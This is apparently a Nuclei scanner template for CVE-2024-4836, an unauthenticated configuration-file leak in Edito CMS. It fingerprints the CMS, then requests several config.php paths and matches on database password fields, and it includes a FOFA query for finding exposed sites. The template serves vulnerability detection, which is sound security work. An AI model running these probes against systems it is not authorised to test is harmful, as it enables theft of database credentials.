Edito CMS - Sensitive Data Leak

id: CVE-2024-4836

info:
  name: Edito CMS - Sensitive Data Leak
  author: s4e-io
  severity: high
  description: |
    Web services managed by Edito CMS (Content Management System) in versions from 3.5 through 3.25 leak sensitive data as they allow downloading configuration files by an unauthorized user.
  impact: |
    Unauthenticated attackers can download configuration files containing sensitive credentials from Edito CMS installations.
  remediation: |
    Update Edito CMS to a version later than 3.25 that secures configuration file access.
  reference:
    - https://cert.pl/en/posts/2024/07/CVE-2024-4836/
    - https://github.com/sleep46/CVE-2024-4836_Check
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4836
  classification:
    epss-score: 0.02651
    epss-percentile: 0.84994
  metadata:
    max-request: 5
    fofa-query: icon_hash="1491301339"
  tags: cve,cve2024,cms,edito,info-leak,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body,"content=\"edito", "www.edito.pl")'
          - "status_code==200"
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/config.php"
      - "{{BaseURL}}/config/config.php"
      - "{{BaseURL}}/include/config.php"
      - "{{BaseURL}}/includes/config.php"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"db_password", "db_username")'
          - "status_code==200"
        condition: and
# digest: 4b0a00483046022100b32b42b6c3b9ce132ea8e961a05ce815852aa3ee82cb7ae60533ba22d1aaf0600221008991fb8ad2df07a6fb578376bb5f6c8b4482ef7a605972e516ce2aeb888ff4cf:922c64590222798bb761d5b6d8e72950